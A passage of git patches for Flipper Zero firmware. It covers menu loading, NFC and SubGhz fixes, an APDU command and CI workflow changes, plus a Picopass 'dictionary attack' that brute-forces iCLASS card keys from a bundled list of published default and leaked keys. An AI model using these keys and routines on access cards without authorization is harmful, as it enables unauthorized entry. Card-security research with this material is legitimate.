a/applications/services/xtreme/settings_filename.h +++ b/applications/services/xtreme/settings_filename.h @@ -1,3 +1,4 @@ #pragma once #define XTREME_SETTINGS_FILE_NAME ".xtreme.settings" +#define XTREME_APPS_FILE_NAME ".xtreme_apps.txt" From d9c41b904d14fa3ed373c822555be0871c2ae746 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 05:14:08 +0000 Subject: [PATCH 099/329] Load custom apps into main menu --- applications/services/loader/loader.c | 74 +++++++++++++++++---------- 1 file changed, 48 insertions(+), 26 deletions(-) diff --git a/applications/services/loader/loader.c b/applications/services/loader/loader.c index bcbffcac2..1e604e3d1 100644 --- a/applications/services/loader/loader.c +++ b/applications/services/loader/loader.c @@ -7,6 +7,8 @@ #include #include #include +#include +#include #define TAG "LoaderSrv" @@ -440,32 +442,6 @@ static void loader_build_menu() { loader_menu_callback, (void*)&FLIPPER_APPS[i]); } - Storage* storage = furi_record_open(RECORD_STORAGE); - File* folder = storage_file_alloc(storage); - FileInfo info; - char* name = malloc(100); - if(storage_dir_open(folder, EXT_PATH("apps/.Main"))) { - FuriString* path = furi_string_alloc(); - FuriString* appname = furi_string_alloc(); - while(storage_dir_read(folder, &info, name, 100)) { - if(file_info_is_dir(&info)) continue; - furi_string_printf(path, EXT_PATH("apps/.Main/%s"), name); - if(!fap_loader_load_name_and_icon(path, storage, NULL, appname)) continue; - const Icon* icon = loader_get_main_icon(name); - menu_add_item( - loader_instance->primary_menu, - strdup(furi_string_get_cstr(appname)), - icon, - i++, - loader_main_callback, - (void*)strdup(furi_string_get_cstr(path))); - } - furi_string_free(appname); - furi_string_free(path); - } - free(name); - storage_file_free(folder); - furi_record_close(RECORD_STORAGE); if(FLIPPER_PLUGINS_COUNT != 0) { menu_add_item( loader_instance->primary_menu, @@ -491,6 +467,52 @@ static void loader_build_menu() { i++, loader_submenu_callback, (void*)LoaderMenuViewSettings); + + Storage* storage = furi_record_open(RECORD_STORAGE); + FuriString* path = furi_string_alloc(); + FuriString* appname = furi_string_alloc(); + File* folder = storage_file_alloc(storage); + FileInfo info; + char* name = malloc(100); + if(storage_dir_open(folder, EXT_PATH("apps/.Main"))) { + while(storage_dir_read(folder, &info, name, 100)) { + if(file_info_is_dir(&info)) continue; + furi_string_printf(path, EXT_PATH("apps/.Main/%s"), name); + if(!fap_loader_load_name_and_icon(path, storage, NULL, appname)) continue; + const Icon* icon = loader_get_main_icon(name); + menu_add_item( + loader_instance->primary_menu, + strdup(furi_string_get_cstr(appname)), + icon, + i++, + loader_main_callback, + (void*)strdup(furi_string_get_cstr(path))); + } + } + free(name); + storage_file_free(folder); + + Stream* stream = file_stream_alloc(storage); + if(file_stream_open(stream, XTREME_APPS_PATH, FSAM_READ, FSOM_OPEN_EXISTING)) { + while(stream_read_line(stream, path)) { + furi_string_replace_all(path, "\r", ""); + furi_string_replace_all(path, "\n", ""); + if(!fap_loader_load_name_and_icon(path, storage, NULL, appname)) continue; + const Icon* icon = loader_get_main_icon(name); + menu_add_item( + loader_instance->primary_menu, + strdup(furi_string_get_cstr(appname)), + icon, + i++, + loader_main_callback, + (void*)strdup(furi_string_get_cstr(path))); + } + } + file_stream_close(stream); + stream_free(stream); + furi_string_free(appname); + furi_string_free(path); + furi_record_close(RECORD_STORAGE); } static void loader_build_submenu() { From f61ea738bae45446388d941eee5302a7f413cbd4 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 05:14:33 +0000 Subject: [PATCH 100/329] Fix wii ui left input --- applications/services/gui/modules/menu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/services/gui/modules/menu.c b/applications/services/gui/modules/menu.c index e42f2ab51..e81868b7e 100644 --- a/applications/services/gui/modules/menu.c +++ b/applications/services/gui/modules/menu.c @@ -331,7 +331,7 @@ static void menu_process_left(Menu* menu) { if(count % 2) { model->position = count - 1; } else { - model->position = count - 1 + model->position % 2; + model->position = count - 2 + model->position % 2; } } else { model->position -= 2; From d12f76dacb8d6266ff784fb6ba3d136288fcabce Mon Sep 17 00:00:00 2001 From: hedger Date: Wed, 15 Mar 2023 16:01:33 +0400 Subject: [PATCH 101/329] Nfc: fixes for latest PVS-studio 7.23 (#2490) --- lib/nfc/parsers/plantain_4k_parser.c | 2 +- lib/nfc/parsers/plantain_parser.c | 2 +- lib/nfc/parsers/troika_4k_parser.c | 2 +- lib/nfc/parsers/troika_parser.c | 2 +- lib/nfc/parsers/two_cities.c | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/nfc/parsers/plantain_4k_parser.c b/lib/nfc/parsers/plantain_4k_parser.c index aed41965c..19da0b5eb 100644 --- a/lib/nfc/parsers/plantain_4k_parser.c +++ b/lib/nfc/parsers/plantain_4k_parser.c @@ -118,7 +118,7 @@ bool plantain_4k_parser_parse(NfcDeviceData* dev_data) { } furi_string_printf( - dev_data->parsed_data, "\e#Plantain\nN:%llu-\nBalance:%ld\n", card_number, balance); + dev_data->parsed_data, "\e#Plantain\nN:%llu-\nBalance:%lu\n", card_number, balance); return true; } diff --git a/lib/nfc/parsers/plantain_parser.c b/lib/nfc/parsers/plantain_parser.c index 3a1d17732..2e4091dda 100644 --- a/lib/nfc/parsers/plantain_parser.c +++ b/lib/nfc/parsers/plantain_parser.c @@ -91,7 +91,7 @@ bool plantain_parser_parse(NfcDeviceData* dev_data) { } furi_string_printf( - dev_data->parsed_data, "\e#Plantain\nN:%llu-\nBalance:%ld\n", card_number, balance); + dev_data->parsed_data, "\e#Plantain\nN:%llu-\nBalance:%lu\n", card_number, balance); return true; } diff --git a/lib/nfc/parsers/troika_4k_parser.c b/lib/nfc/parsers/troika_4k_parser.c index d87b4eba7..1f1b85a5c 100644 --- a/lib/nfc/parsers/troika_4k_parser.c +++ b/lib/nfc/parsers/troika_4k_parser.c @@ -99,7 +99,7 @@ bool troika_4k_parser_parse(NfcDeviceData* dev_data) { number >>= 4; furi_string_printf( - dev_data->parsed_data, "\e#Troika\nNum: %ld\nBalance: %d rur.", number, balance); + dev_data->parsed_data, "\e#Troika\nNum: %lu\nBalance: %u rur.", number, balance); return true; } diff --git a/lib/nfc/parsers/troika_parser.c b/lib/nfc/parsers/troika_parser.c index 9c16296f3..bfd22364b 100644 --- a/lib/nfc/parsers/troika_parser.c +++ b/lib/nfc/parsers/troika_parser.c @@ -79,7 +79,7 @@ bool troika_parser_parse(NfcDeviceData* dev_data) { number >>= 4; furi_string_printf( - dev_data->parsed_data, "\e#Troika\nNum: %ld\nBalance: %d rur.", number, balance); + dev_data->parsed_data, "\e#Troika\nNum: %lu\nBalance: %u rur.", number, balance); troika_parsed = true; } while(false); diff --git a/lib/nfc/parsers/two_cities.c b/lib/nfc/parsers/two_cities.c index 0e2ed5690..d6d4279dd 100644 --- a/lib/nfc/parsers/two_cities.c +++ b/lib/nfc/parsers/two_cities.c @@ -136,7 +136,7 @@ bool two_cities_parser_parse(NfcDeviceData* dev_data) { furi_string_printf( dev_data->parsed_data, - "\e#Troika+Plantain\nPN: %llu-\nPB: %ld rur.\nTN: %ld\nTB: %d rur.\n", + "\e#Troika+Plantain\nPN: %llu-\nPB: %lu rur.\nTN: %lu\nTB: %u rur.\n", card_number, balance, troika_number, From 3a242e5fc319f28bf7ee2aa02869744cabdc5d86 Mon Sep 17 00:00:00 2001 From: Skorpionm <85568270+Skorpionm@users.noreply.github.com> Date: Wed, 15 Mar 2023 16:16:52 +0400 Subject: [PATCH 102/329] SubGhz: bugfix unable to send, new generated secplus_v2 protocol (#2488) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- lib/subghz/protocols/keeloq.c | 4 +++- lib/subghz/protocols/secplus_v2.c | 9 +++++---- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/lib/subghz/protocols/keeloq.c b/lib/subghz/protocols/keeloq.c index 57d1cd22d..7748da1ee 100644 --- a/lib/subghz/protocols/keeloq.c +++ b/lib/subghz/protocols/keeloq.c @@ -182,7 +182,9 @@ bool subghz_protocol_keeloq_create_data( instance->generic.data_count_bit = 64; bool res = subghz_protocol_keeloq_gen_data(instance, btn); if(res) { - res = subghz_block_generic_serialize(&instance->generic, flipper_format, preset); + if(subghz_block_generic_serialize(&instance->generic, flipper_format, preset) != + SubGhzProtocolStatusOk) + res = false; } return res; } diff --git a/lib/subghz/protocols/secplus_v2.c b/lib/subghz/protocols/secplus_v2.c index 4a3815f0d..c8ecbea22 100644 --- a/lib/subghz/protocols/secplus_v2.c +++ b/lib/subghz/protocols/secplus_v2.c @@ -599,19 +599,20 @@ bool subghz_protocol_secplus_v2_create_data( instance->generic.data_count_bit = (uint8_t)subghz_protocol_secplus_v2_const.min_count_bit_for_found; subghz_protocol_secplus_v2_encode(instance); - bool res = subghz_block_generic_serialize(&instance->generic, flipper_format, preset); + SubGhzProtocolStatus res = + subghz_block_generic_serialize(&instance->generic, flipper_format, preset); uint8_t key_data[sizeof(uint64_t)] = {0}; for(size_t i = 0; i < sizeof(uint64_t); i++) { key_data[sizeof(uint64_t) - i - 1] = (instance->secplus_packet_1 >> (i * 8)) & 0xFF; } - if(res && + if((res == SubGhzProtocolStatusOk) && !flipper_format_write_hex(flipper_format, "Secplus_packet_1", key_data, sizeof(uint64_t))) { FURI_LOG_E(TAG, "Unable to add Secplus_packet_1"); - res = false; + res = SubGhzProtocolStatusErrorParserOthers; } - return res; + return res == SubGhzProtocolStatusOk; } void* subghz_protocol_decoder_secplus_v2_alloc(SubGhzEnvironment* environment) { From e22668e19610ead06697a3b19b2ac88cdd4376d1 Mon Sep 17 00:00:00 2001 From: Eric Betts Date: Wed, 15 Mar 2023 05:35:11 -0700 Subject: [PATCH 103/329] Picopass standard KDF dictionary (#2478) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Split iclass dictionaries based on KDF * Allow cancelling during key test Co-authored-by: あく --- .../picopass/helpers/iclass_elite_dict.c | 15 +++++- .../picopass/helpers/iclass_elite_dict.h | 3 +- .../external/picopass/picopass_worker.c | 46 ++++++++---------- .../picopass/assets/iclass_elite_dict.txt | 12 ----- .../picopass/assets/iclass_standard_dict.txt | 47 +++++++++++++++++++ 5 files changed, 82 insertions(+), 41 deletions(-) create mode 100644 assets/resources/apps_data/picopass/assets/iclass_standard_dict.txt diff --git a/applications/external/picopass/helpers/iclass_elite_dict.c b/applications/external/picopass/helpers/iclass_elite_dict.c index e8c13dd1d..f92dce0aa 100644 --- a/applications/external/picopass/helpers/iclass_elite_dict.c +++ b/applications/external/picopass/helpers/iclass_elite_dict.c @@ -5,6 +5,7 @@ #define ICLASS_ELITE_DICT_FLIPPER_NAME APP_DATA_PATH("assets/iclass_elite_dict.txt") #define ICLASS_ELITE_DICT_USER_NAME APP_DATA_PATH("assets/iclass_elite_dict_user.txt") +#define ICLASS_STANDARD_DICT_FLIPPER_NAME APP_DATA_PATH("assets/iclass_standard_dict.txt") #define TAG "IclassEliteDict" @@ -25,6 +26,9 @@ bool iclass_elite_dict_check_presence(IclassEliteDictType dict_type) { (storage_common_stat(storage, ICLASS_ELITE_DICT_FLIPPER_NAME, NULL) == FSE_OK); } else if(dict_type == IclassEliteDictTypeUser) { dict_present = (storage_common_stat(storage, ICLASS_ELITE_DICT_USER_NAME, NULL) == FSE_OK); + } else if(dict_type == IclassStandardDictTypeFlipper) { + dict_present = + (storage_common_stat(storage, ICLASS_STANDARD_DICT_FLIPPER_NAME, NULL) == FSE_OK); } furi_record_close(RECORD_STORAGE); @@ -52,6 +56,15 @@ IclassEliteDict* iclass_elite_dict_alloc(IclassEliteDictType dict_type) { buffered_file_stream_close(dict->stream); break; } + } else if(dict_type == IclassStandardDictTypeFlipper) { + if(!buffered_file_stream_open( + dict->stream, + ICLASS_STANDARD_DICT_FLIPPER_NAME, + FSAM_READ, + FSOM_OPEN_EXISTING)) { + buffered_file_stream_close(dict->stream); + break; + } } // Read total amount of keys @@ -148,4 +161,4 @@ bool iclass_elite_dict_add_key(IclassEliteDict* dict, uint8_t* key) { furi_string_free(key_str); return key_added; -} \ No newline at end of file +} diff --git a/applications/external/picopass/helpers/iclass_elite_dict.h b/applications/external/picopass/helpers/iclass_elite_dict.h index e5ec8dfcb..150cd1b76 100644 --- a/applications/external/picopass/helpers/iclass_elite_dict.h +++ b/applications/external/picopass/helpers/iclass_elite_dict.h @@ -9,6 +9,7 @@ typedef enum { IclassEliteDictTypeUser, IclassEliteDictTypeFlipper, + IclassStandardDictTypeFlipper, } IclassEliteDictType; typedef struct IclassEliteDict IclassEliteDict; @@ -25,4 +26,4 @@ bool iclass_elite_dict_get_next_key(IclassEliteDict* dict, uint8_t* key); bool iclass_elite_dict_rewind(IclassEliteDict* dict); -bool iclass_elite_dict_add_key(IclassEliteDict* dict, uint8_t* key); \ No newline at end of file +bool iclass_elite_dict_add_key(IclassEliteDict* dict, uint8_t* key); diff --git a/applications/external/picopass/picopass_worker.c b/applications/external/picopass/picopass_worker.c index f2e9e82b8..e61b67d9f 100644 --- a/applications/external/picopass/picopass_worker.c +++ b/applications/external/picopass/picopass_worker.c @@ -172,14 +172,18 @@ ReturnCode picopass_read_preauth(PicopassBlock* AA1) { return ERR_NONE; } -static ReturnCode picopass_auth_dict( - uint8_t* csn, - PicopassPacs* pacs, - uint8_t* div_key, - IclassEliteDictType dict_type, - bool elite) { +static ReturnCode + picopass_auth_dict(PicopassWorker* picopass_worker, IclassEliteDictType dict_type) { rfalPicoPassReadCheckRes rcRes; rfalPicoPassCheckRes chkRes; + bool elite = (dict_type != IclassStandardDictTypeFlipper); + + PicopassDeviceData* dev_data = picopass_worker->dev_data; + PicopassBlock* AA1 = dev_data->AA1; + PicopassPacs* pacs = &dev_data->pacs; + + uint8_t* csn = AA1[PICOPASS_CSN_BLOCK_INDEX].data; + uint8_t* div_key = AA1[PICOPASS_KD_BLOCK_INDEX].data; ReturnCode err = ERR_PARAM; @@ -204,7 +208,8 @@ static ReturnCode picopass_auth_dict( while(iclass_elite_dict_get_next_key(dict, key)) { FURI_LOG_D( TAG, - "Try to auth with key %zu %02x%02x%02x%02x%02x%02x%02x%02x", + "Try to %s auth with key %zu %02x%02x%02x%02x%02x%02x%02x%02x", + elite ? "elite" : "standard", index++, key[0], key[1], @@ -230,6 +235,8 @@ static ReturnCode picopass_auth_dict( memcpy(pacs->key, key, PICOPASS_BLOCK_LEN); break; } + + if(picopass_worker->state != PicopassWorkerStateDetect) break; } iclass_elite_dict_free(dict); @@ -237,38 +244,23 @@ static ReturnCode picopass_auth_dict( return err; } -ReturnCode picopass_auth(PicopassBlock* AA1, PicopassPacs* pacs) { +ReturnCode picopass_auth(PicopassWorker* picopass_worker) { ReturnCode err; FURI_LOG_I(TAG, "Starting system dictionary attack [Standard KDF]"); - err = picopass_auth_dict( - AA1[PICOPASS_CSN_BLOCK_INDEX].data, - pacs, - AA1[PICOPASS_KD_BLOCK_INDEX].data, - IclassEliteDictTypeFlipper, - false); + err = picopass_auth_dict(picopass_worker, IclassStandardDictTypeFlipper); if(err == ERR_NONE) { return ERR_NONE; } FURI_LOG_I(TAG, "Starting user dictionary attack [Elite KDF]"); - err = picopass_auth_dict( - AA1[PICOPASS_CSN_BLOCK_INDEX].data, - pacs, - AA1[PICOPASS_KD_BLOCK_INDEX].data, - IclassEliteDictTypeUser, - true); + err = picopass_auth_dict(picopass_worker, IclassEliteDictTypeUser); if(err == ERR_NONE) { return ERR_NONE; } FURI_LOG_I(TAG, "Starting system dictionary attack [Elite KDF]"); - err = picopass_auth_dict( - AA1[PICOPASS_CSN_BLOCK_INDEX].data, - pacs, - AA1[PICOPASS_KD_BLOCK_INDEX].data, - IclassEliteDictTypeFlipper, - true); + err = picopass_auth_dict(picopass_worker, IclassEliteDictTypeFlipper); if(err == ERR_NONE) { return ERR_NONE; } @@ -520,7 +512,7 @@ void picopass_worker_detect(PicopassWorker* picopass_worker) { } if(nextState == PicopassWorkerEventSuccess) { - err = picopass_auth(AA1, pacs); + err = picopass_auth(picopass_worker); if(err != ERR_NONE) { FURI_LOG_E(TAG, "picopass_try_auth error %d", err); nextState = PicopassWorkerEventFail; diff --git a/assets/resources/apps_data/picopass/assets/iclass_elite_dict.txt b/assets/resources/apps_data/picopass/assets/iclass_elite_dict.txt index 5da2a2fa8..d11892372 100644 --- a/assets/resources/apps_data/picopass/assets/iclass_elite_dict.txt +++ b/assets/resources/apps_data/picopass/assets/iclass_elite_dict.txt @@ -1,16 +1,10 @@ ## From https://github.com/RfidResearchGroup/proxmark3/blob/master/client/dictionaries/iclass_default_keys.dic -# AA1 -AEA684A6DAB23278 # key1/Kc from PicoPass 2k documentation 7665544332211000 # SAGEM 0123456789ABCDEF -# from loclass demo file. -5b7c62c491c11b39 -# Kd from PicoPass 2k documentation -F0E1D2C3B4A59687 # PicoPass Default Exchange Key 5CBCF1DA45D5FB4F # From HID multiclassSE reader @@ -19,12 +13,6 @@ F0E1D2C3B4A59687 6EFD46EFCBB3C875 E033CA419AEE43F9 -# iCopy-x DRM keys -# iCL tags -2020666666668888 -# iCS tags reversed from the SOs -6666202066668888 - # default picopass KD / Page 0 / Book 1 FDCB5A52EA8F3090 237FF9079863DF44 diff --git a/assets/resources/apps_data/picopass/assets/iclass_standard_dict.txt b/assets/resources/apps_data/picopass/assets/iclass_standard_dict.txt new file mode 100644 index 000000000..46808ef60 --- /dev/null +++ b/assets/resources/apps_data/picopass/assets/iclass_standard_dict.txt @@ -0,0 +1,47 @@ + +## From https://github.com/RfidResearchGroup/proxmark3/blob/master/client/dictionaries/iclass_default_keys.dic + +# AA1 +AEA684A6DAB23278 +# key1/Kc from PicoPass 2k documentation +7665544332211000 +# SAGEM +0123456789ABCDEF +# from loclass demo file. +5b7c62c491c11b39 +# Kd from PicoPass 2k documentation +F0E1D2C3B4A59687 +# PicoPass Default Exchange Key +5CBCF1DA45D5FB4F +# From HID multiclassSE reader +31ad7ebd2f282168 +# From pastebin: https://pastebin.com/uHqpjiuU +6EFD46EFCBB3C875 +E033CA419AEE43F9 + +# iCopy-x DRM keys +# iCL tags +2020666666668888 +# iCS tags reversed from the SOs +6666202066668888 + +# default picopass KD / Page 0 / Book 1 +FDCB5A52EA8F3090 +237FF9079863DF44 +5ADC25FB27181D32 +83B881F2936B2E49 +43644E61EE866BA5 +897034143D016080 +82D17B44C0122963 +4895CA7DE65E2025 +DADAD4C57BE271B7 +E41E9EDEF5719ABF +293D275EC3AF9C7F +C3C169251B8A70FB +F41DAF58B20C8B91 +28877A609EC0DD2B +66584C91EE80D5E5 +C1B74D7478053AE2 + +# default iCLASS RFIDeas +6B65797374726B72 From a69ae93871a4bf8cd9a1b5bb2cba06218199c6aa Mon Sep 17 00:00:00 2001 From: Leopold Date: Wed, 15 Mar 2023 21:52:32 +0800 Subject: [PATCH 104/329] Add new nfc apdu cli command (#2482) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- applications/main/nfc/nfc_cli.c | 68 +++++++++++++++++++++++++++++++++ 1 file changed, 68 insertions(+) diff --git a/applications/main/nfc/nfc_cli.c b/applications/main/nfc/nfc_cli.c index 23335e299..6e6e04ca9 100644 --- a/applications/main/nfc/nfc_cli.c +++ b/applications/main/nfc/nfc_cli.c @@ -2,6 +2,7 @@ #include #include #include +#include #include #include @@ -12,6 +13,7 @@ static void nfc_cli_print_usage() { printf("Cmd list:\r\n"); printf("\tdetect\t - detect nfc device\r\n"); printf("\temulate\t - emulate predefined nfca card\r\n"); + printf("\tapdu\t - Send APDU and print response \r\n"); if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { printf("\tfield\t - turn field on\r\n"); } @@ -98,6 +100,67 @@ static void nfc_cli_field(Cli* cli, FuriString* args) { furi_hal_nfc_sleep(); } +static void nfc_cli_apdu(Cli* cli, FuriString* args) { + UNUSED(cli); + if(furi_hal_nfc_is_busy()) { + printf("Nfc is busy\r\n"); + return; + } + + furi_hal_nfc_exit_sleep(); + FuriString* data = NULL; + data = furi_string_alloc(); + FuriHalNfcTxRxContext tx_rx = {}; + FuriHalNfcDevData dev_data = {}; + uint8_t* req_buffer = NULL; + uint8_t* resp_buffer = NULL; + size_t apdu_size = 0; + size_t resp_size = 0; + + do { + if(!args_read_string_and_trim(args, data)) { + printf( + "Use like `nfc apdu 00a404000e325041592e5359532e444446303100 00a4040008a0000003010102` \r\n"); + break; + } + + printf("detecting tag\r\n"); + if(!furi_hal_nfc_detect(&dev_data, 300)) { + printf("Failed to detect tag\r\n"); + break; + } + do { + apdu_size = furi_string_size(data) / 2; + req_buffer = malloc(apdu_size); + hex_chars_to_uint8(furi_string_get_cstr(data), req_buffer); + + memcpy(tx_rx.tx_data, req_buffer, apdu_size); + tx_rx.tx_bits = apdu_size * 8; + tx_rx.tx_rx_type = FuriHalNfcTxRxTypeDefault; + + printf("Sending APDU:%s to Tag\r\n", furi_string_get_cstr(data)); + if(!furi_hal_nfc_tx_rx(&tx_rx, 300)) { + printf("Failed to tx_rx\r\n"); + break; + } + resp_size = (tx_rx.rx_bits / 8) * 2; + resp_buffer = malloc(resp_size); + uint8_to_hex_chars(tx_rx.rx_data, resp_buffer, resp_size); + resp_buffer[resp_size] = 0; + printf("Response: %s\r\n", resp_buffer); + free(req_buffer); + free(resp_buffer); + req_buffer = NULL; + resp_buffer = NULL; + } while(args_read_string_and_trim(args, data)); + } while(false); + + free(req_buffer); + free(resp_buffer); + furi_string_free(data); + furi_hal_nfc_sleep(); +} + static void nfc_cli(Cli* cli, FuriString* args, void* context) { UNUSED(context); FuriString* cmd; @@ -117,6 +180,11 @@ static void nfc_cli(Cli* cli, FuriString* args, void* context) { break; } + if(furi_string_cmp_str(cmd, "apdu") == 0) { + nfc_cli_apdu(cli, args); + break; + } + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { if(furi_string_cmp_str(cmd, "field") == 0) { nfc_cli_field(cli, args); From c27d4d78f98869ba8ae3fdb01b322c52efe39d5e Mon Sep 17 00:00:00 2001 From: Liam Hays Date: Wed, 15 Mar 2023 08:51:15 -0600 Subject: [PATCH 105/329] Fix auto-capitalization in the keyboard when the text box is empty. (#2483) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: hedger Co-authored-by: あく --- applications/services/gui/modules/text_input.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/applications/services/gui/modules/text_input.c b/applications/services/gui/modules/text_input.c index 32607e884..86b7bca1e 100644 --- a/applications/services/gui/modules/text_input.c +++ b/applications/services/gui/modules/text_input.c @@ -309,9 +309,9 @@ static void text_input_handle_ok(TextInput* text_input, TextInputModel* model, b char selected = get_selected_char(model); size_t text_length = strlen(model->text_buffer); - bool toogle_case = text_length == 0; - if(shift) toogle_case = !toogle_case; - if(toogle_case) { + bool toggle_case = text_length == 0 || model->clear_default_text; + if(shift) toggle_case = !toggle_case; + if(toggle_case) { selected = char_to_uppercase(selected); } From d8385b7f917ba10bd2ba49e5c076374de8b4c2ac Mon Sep 17 00:00:00 2001 From: hedger Date: Wed, 15 Mar 2023 19:24:56 +0400 Subject: [PATCH 106/329] gh: use shallow clones whenever possible (#2491) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * gh: use shallow clones whenever possible * gh: reverted submodule checks * gh: lint: joined linting scripts * gh: renamed linter workflow * check python linter output * gh: reworked linter * checking c linter * gh: merged submodule check & lint * gh: renamed step * gh: removed redundant `submodules: false` Co-authored-by: あく --- .github/workflows/build.yml | 6 +-- ...dules.yml => lint_and_submodule_check.yml} | 34 +++++++++++--- .github/workflows/lint_c.yml | 47 ------------------- .github/workflows/lint_python.yml | 33 ------------- .github/workflows/merge_report.yml | 2 +- .github/workflows/pvs_studio.yml | 2 +- .github/workflows/unit_tests.yml | 2 +- .github/workflows/updater_test.yml | 5 +- fbt | 4 +- fbt.cmd | 4 +- 10 files changed, 41 insertions(+), 98 deletions(-) rename .github/workflows/{check_submodules.yml => lint_and_submodule_check.yml} (56%) delete mode 100644 .github/workflows/lint_c.yml delete mode 100644 .github/workflows/lint_python.yml diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 46d95ede5..79535c934 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -27,7 +27,7 @@ jobs: - name: 'Checkout code' uses: actions/checkout@v3 with: - fetch-depth: 0 + fetch-depth: 1 ref: ${{ github.event.pull_request.head.sha }} - name: 'Get commit details' @@ -177,8 +177,8 @@ jobs: - name: 'Checkout code' uses: actions/checkout@v3 with: - fetch-depth: 0 - submodules: true + fetch-depth: 1 + submodules: false ref: ${{ github.event.pull_request.head.sha }} - name: 'Get commit details' diff --git a/.github/workflows/check_submodules.yml b/.github/workflows/lint_and_submodule_check.yml similarity index 56% rename from .github/workflows/check_submodules.yml rename to .github/workflows/lint_and_submodule_check.yml index 2eb2027c9..ede357932 100644 --- a/.github/workflows/check_submodules.yml +++ b/.github/workflows/lint_and_submodule_check.yml @@ -1,4 +1,4 @@ -name: 'Check submodules branch' +name: 'Lint sources & check submodule integrity' on: push: @@ -9,9 +9,14 @@ on: - '*' pull_request: +env: + TARGETS: f7 + FBT_TOOLCHAIN_PATH: /runner/_work + SET_GH_OUTPUT: 1 + jobs: - check_protobuf: - runs-on: [self-hosted, FlipperZeroShell] + lint_sources_check_submodules: + runs-on: [self-hosted,FlipperZeroShell] steps: - name: 'Decontaminate previous build leftovers' run: | @@ -22,9 +27,10 @@ jobs: - name: 'Checkout code' uses: actions/checkout@v3 with: - fetch-depth: 0 + fetch-depth: 1 ref: ${{ github.event.pull_request.head.sha }} + - name: 'Check protobuf branch' run: | git submodule update --init @@ -36,12 +42,28 @@ jobs: BRANCHES=$(git branch -r --contains "$SUBMODULE_HASH"); COMMITS_IN_BRANCH="$(git rev-list --count dev)"; if [ $COMMITS_IN_BRANCH -lt $SUB_COMMITS_MIN ]; then - echo "name=fails::error" >> $GITHUB_OUTPUT + echo "name=fails::error" >> $GITHUB_OUTPUT; echo "::error::Error: Too low commits in $SUB_BRANCH of submodule $SUB_PATH: $COMMITS_IN_BRANCH(expected $SUB_COMMITS_MIN+)"; exit 1; fi if ! grep -q "/$SUB_BRANCH" <<< "$BRANCHES"; then - echo "name=fails::error" >> $GITHUB_OUTPUT + echo "name=fails::error" >> $GITHUB_OUTPUT; echo "::error::Error: Submodule $SUB_PATH is not on branch $SUB_BRANCH"; exit 1; fi + + - name: 'Check Python code formatting' + id: syntax_check_py + run: ./fbt lint_py 2>&1 >/dev/null || echo "errors=1" >> $GITHUB_OUTPUT + + - name: 'Check C++ code formatting' + if: always() + id: syntax_check_cpp + run: ./fbt lint 2>&1 >/dev/null || echo "errors=1" >> $GITHUB_OUTPUT + + - name: Report code formatting errors + if: ( steps.syntax_check_py.outputs.errors || steps.syntax_check_cpp.outputs.errors ) && github.event.pull_request + run: | + echo "Code formatting errors found"; + echo "Please run './fbt format' or './fbt format_py' to fix them"; + exit 1; diff --git a/.github/workflows/lint_c.yml b/.github/workflows/lint_c.yml deleted file mode 100644 index a6fd5127c..000000000 --- a/.github/workflows/lint_c.yml +++ /dev/null @@ -1,47 +0,0 @@ -name: 'Lint C/C++ with clang-format' - -on: - push: - branches: - - dev - - "release*" - tags: - - '*' - pull_request: - -env: - TARGETS: f7 - FBT_TOOLCHAIN_PATH: /runner/_work - SET_GH_OUTPUT: 1 - -jobs: - lint_c_cpp: - runs-on: [self-hosted,FlipperZeroShell] - steps: - - name: 'Decontaminate previous build leftovers' - run: | - if [ -d .git ]; then - git submodule status || git checkout "$(git rev-list --max-parents=0 HEAD | tail -n 1)" - fi - - - name: 'Checkout code' - uses: actions/checkout@v3 - with: - fetch-depth: 0 - ref: ${{ github.event.pull_request.head.sha }} - - - name: 'Check code formatting' - id: syntax_check - run: ./fbt lint - - - name: Report code formatting errors - if: failure() && steps.syntax_check.outputs.errors && github.event.pull_request - uses: peter-evans/create-or-update-comment@v1 - with: - issue-number: ${{ github.event.pull_request.number }} - body: | - Please fix following code formatting errors: - ``` - ${{ steps.syntax_check.outputs.errors }} - ``` - You might want to run `./fbt format` for an auto-fix. diff --git a/.github/workflows/lint_python.yml b/.github/workflows/lint_python.yml deleted file mode 100644 index 66c36064c..000000000 --- a/.github/workflows/lint_python.yml +++ /dev/null @@ -1,33 +0,0 @@ -name: 'Python Lint' - -on: - push: - branches: - - dev - - "release*" - tags: - - '*' - pull_request: - -env: - FBT_TOOLCHAIN_PATH: /runner/_work - SET_GH_OUTPUT: 1 - -jobs: - lint_python: - runs-on: [self-hosted,FlipperZeroShell] - steps: - - name: 'Decontaminate previous build leftovers' - run: | - if [ -d .git ]; then - git submodule status || git checkout "$(git rev-list --max-parents=0 HEAD | tail -n 1)" - fi - - - name: 'Checkout code' - uses: actions/checkout@v3 - with: - fetch-depth: 0 - ref: ${{ github.event.pull_request.head.sha }} - - - name: 'Check code formatting' - run: ./fbt lint_py diff --git a/.github/workflows/merge_report.yml b/.github/workflows/merge_report.yml index 13fab0948..3b7cd2349 100644 --- a/.github/workflows/merge_report.yml +++ b/.github/workflows/merge_report.yml @@ -21,7 +21,7 @@ jobs: - name: 'Checkout code' uses: actions/checkout@v3 with: - fetch-depth: 0 + fetch-depth: 1 ref: ${{ github.event.pull_request.head.sha }} - name: 'Get commit details' diff --git a/.github/workflows/pvs_studio.yml b/.github/workflows/pvs_studio.yml index 65a8b6150..9105a0fd6 100644 